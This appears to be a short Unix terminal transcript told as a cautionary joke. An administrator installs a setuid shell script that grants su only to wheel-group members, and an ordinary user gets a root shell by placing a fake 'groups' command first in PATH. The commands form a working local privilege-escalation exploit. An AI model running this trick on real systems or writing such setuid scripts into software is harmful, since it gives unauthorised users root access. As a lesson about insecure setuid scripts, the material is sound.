Okay, great.  Let's install this little script:

root@host# chown root sux
root@host# chmod 4755 sux
root@host# mv sux /bin

joe@host$ cat /bin/sux
#!/bin/sh
groups | grep -s wheel && su $* || echo Sorry
joe@host$ cd
joe@host$ cat > groups << !
> #!/bin/sh
> /bin/echo wheel
> !
joe@host$ chmod 755 groups
joe@host$ PATH=:/bin /bin/sux
joe@host# 

		How cool.
